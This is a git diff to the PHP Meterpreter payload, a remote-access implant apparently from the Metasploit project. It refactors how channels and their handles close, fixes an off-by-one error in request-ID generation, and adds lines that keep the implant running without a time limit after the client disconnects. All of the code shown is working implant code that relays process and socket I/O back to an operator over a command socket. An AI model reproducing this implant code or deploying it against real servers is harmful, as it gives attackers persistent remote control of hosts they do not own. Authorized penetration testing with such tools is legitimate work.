diff --git a/php/meterpreter/meterpreter.php b/php/meterpreter/meterpreter.php
index f88f10ea..f61f1292 100644
--- a/php/meterpreter/meterpreter.php
+++ b/php/meterpreter/meterpreter.php
@@ -254,12 +254,10 @@ function core_channel_close($req, &$pkt) {
     $c = get_channel_by_id($id);
     if ($c) {
         # We found a channel, close its stdin/stdout/stderr
-        for($i = 0; $i < 3; $i++) {
-            #my_print("closing channel fd $i, {$c[$i]}");
-            if (array_key_exists($i, $c) && is_resource($c[$i])) {
-                close($c[$i]);
-            }
-        }
+        channel_close_handles($id);
+
+        # if the channel we're closing is associated with a process, kill the
+        # process
         # Make sure the stdapi function for closing a process handle is
         # available before trying to clean up
         if (array_key_exists($id, $channel_process_map) and is_callable('close_process')) {
@@ -267,10 +265,37 @@ function core_channel_close($req, &$pkt) {
         }
         return ERROR_SUCCESS;
     }
+    dump_array($channels, "Channel list after close");
 
     return ERROR_FAILURE;
 }
 
+# 
+# Destroy a channel and all associated handles.
+#
+function channel_close_handles($cid) {
+    global $channels;
+
+    # Sanity check - make sure a channel with the given cid exists
+    if (!array_key_exists($cid, $channels)) {
+        return;
+    }
+    $c = $channels[$cid];
+    for($i = 0; $i < 3; $i++) {
+        #my_print("closing channel fd $i, {$c[$i]}");
+        if (array_key_exists($i, $c) && is_resource($c[$i])) {
+            my_print("Closing handle {$c[$i]}");
+            close($c[$i]);
+            # Make sure the main loop doesn't select on this resource after we
+            # close it.
+            remove_reader($c[$i]);
+        }
+    }
+    # After closing all the channel's handlers, the channel itself isn't very
+    # useful, axe it from the list.
+    unset($channels[$cid]);
+}
+
 function core_channel_interact($req, &$pkt) {
     global $readers;
 
@@ -289,8 +314,10 @@ function core_channel_interact($req, &$pkt) {
             if (!in_array($c[1], $readers)) {
                 # stdout
                 add_reader($c[1]);
-                # stderr, don't care if it fails
+                # Make sure we don't add the same resource twice in the case
+                # that stdin == stderr
                 if (array_key_exists(2, $c) && $c[1] != $c[2]) {
+                    # stderr
                     add_reader($c[2]);
                 }
                 $ret = ERROR_SUCCESS;
@@ -358,8 +385,8 @@ function register_channel($in, $out=null, $err=null) {
 
 function get_channel_id_from_resource($resource) {
     global $channels;
-    #my_print("Looking up channel from resource $resource");
     for ($i = 0; $i < count($channels); $i++) {
+        #dump_array($channels[$i], "channels[$i]");
         if (in_array($resource, $channels[$i])) {
             #my_print("Found channel id $i");
             return $i;
@@ -408,27 +435,44 @@ function generate_req_id() {
     $rid = '';
 
     for ($p = 0; $p < 32; $p++) {
-        $rid .= $characters[rand(0, strlen($characters))];
+        $rid .= $characters[rand(0, strlen($characters)-1)];
     }
 
     return $rid;
 }
 
 function handle_dead_resource_channel($resource) {
+    global $msgsock;
+
+    if (!is_resource($resource)) {
+        return;
+    }
+
     $cid = get_channel_id_from_resource($resource);
-    my_print("Handling dead resource: {$resource}");
-    close($resource);
-    $pkt = pack("N", PACKET_TYPE_REQUEST);
+    if ($cid === false) {
+        my_print("Resource has no channel: {$resource}");
 
-    packet_add_tlv($pkt, create_tlv(TLV_TYPE_METHOD, 'core_channel_close'));
-    $req_id = generate_req_id();
-    packet_add_tlv($pkt, create_tlv(TLV_TYPE_REQUEST_ID, $req_id));
-    packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $cid));
+        # Make sure the provided resource gets closed regardless of it's status
+        # as a channel
+        remove_reader($resource); 
+        close($resource);
+    } else {
+        my_print("Handling dead resource: {$resource}, for channel: {$cid}");
+        # Make sure we close other handles associated with this channel as well
+        channel_close_handles($cid);
 
-    # Add the length to the beginning of the packet
-    $pkt = pack("N", strlen($pkt) + 4) . $pkt;
-    return $pkt;
+        $pkt = pack("N", PACKET_TYPE_REQUEST);
+        packet_add_tlv($pkt, create_tlv(TLV_TYPE_METHOD, 'core_channel_close'));
+        packet_add_tlv($pkt, create_tlv(TLV_TYPE_REQUEST_ID, generate_req_id()));
+        packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $cid));
+        # Add the length to the beginning of the packet
+        $pkt = pack("N", strlen($pkt) + 4) . $pkt;
+        write($msgsock, $pkt);
+    }
+
+    return;
 }
+
 function handle_resource_read_channel($resource, $data) {
     global $udp_host_map;
     $cid = get_channel_id_from_resource($resource);
@@ -437,7 +481,6 @@ function handle_resource_read_channel($resource, $data) {
     # Build a new Packet
     $pkt = pack("N", PACKET_TYPE_REQUEST);
     packet_add_tlv($pkt, create_tlv(TLV_TYPE_METHOD, 'core_channel_write'));
-    $req_id = generate_req_id();
     if (array_key_exists((int)$resource, $udp_host_map)) {
         list($h,$p) = $udp_host_map[(int)$resource];
         packet_add_tlv($pkt, create_tlv(TLV_TYPE_PEER_HOST, $h));
@@ -446,7 +489,7 @@ function handle_resource_read_channel($resource, $data) {
     packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $cid));
     packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_DATA, $data));
     packet_add_tlv($pkt, create_tlv(TLV_TYPE_LENGTH, strlen($data)));
-    packet_add_tlv($pkt, create_tlv(TLV_TYPE_REQUEST_ID, $req_id));
+    packet_add_tlv($pkt, create_tlv(TLV_TYPE_REQUEST_ID, generate_req_id()));
 
     # Add the length to the beginning of the packet
     $pkt = pack("N", strlen($pkt) + 4) . $pkt;
@@ -667,10 +710,16 @@ function read($resource, $len=null) {
             list($host,$port) = $udp_host_map[(int)$resource];
             socket_recvfrom($resource, $buff, $len, PHP_BINARY_READ, $host, $port);
         } else {
+            my_print("Reading TCP socket");
             $buff = socket_read($resource, $len, PHP_BINARY_READ);
         }
         break;
-    case 'stream': $buff = fread($resource, $len); break;
+    case 'stream':
+        #my_print("Reading stream");
+        $md = stream_get_meta_data($resource);
+        #dump_array($md, "Meta data for $resource");
+        $buff = fread($resource, $len);
+        break;
     default: my_print("Wtf don't know how to read from resource $resource"); break;
     }
     #my_print(sprintf("Read %d bytes", strlen($buff)));
@@ -790,6 +839,8 @@ function add_reader($resource) {
 
 function remove_reader($resource) {
     global $readers;
+    #my_print("Removing reader: $resource");
+    #dump_readers();
     if (in_array($resource, $readers)) {
         foreach ($readers as $key => $r) {
             if ($r == $resource) {
@@ -815,6 +866,8 @@ error_reporting(0);
 @ignore_user_abort(true);
 # Has no effect in safe mode, but try anyway
 @set_time_limit(0);
+@ignore_user_abort(1);
+@ini_set('max_execution_time',0);
 
 
 # If we don't have a socket we're standalone, setup the connection here.
@@ -881,20 +934,16 @@ while (false !== ($cnt = select($r, $w=null, $e=null, 1))) {
         } else {
             #my_print("not Msgsock: $ready");
             $data = read($ready);
-            #my_print(sprintf("Read returned %s bytes", strlen($data)));
-            if (false === $data) {
-                $request = handle_dead_resource_channel($ready);
-                write($msgsock, $request);
-                remove_reader($ready);
-            } elseif (strlen($data) == 0) {
-                remove_reader($ready);
+            if (false === $data || strlen($data) == 0) {
+                handle_dead_resource_channel($ready);
             } else {
+                my_print(sprintf("Read returned %s bytes", strlen($data)));
                 $request = handle_resource_read_channel($ready, $data);
-                #my_print("Got some data from a channel that needs to be passed back to the msgsock");
                 write($msgsock, $request);
-            }
+            } 
         }
     }
+    # $r is modified by select, so reset it
     $r = $GLOBALS['readers'];
 } # end main loop
 my_print("Finished");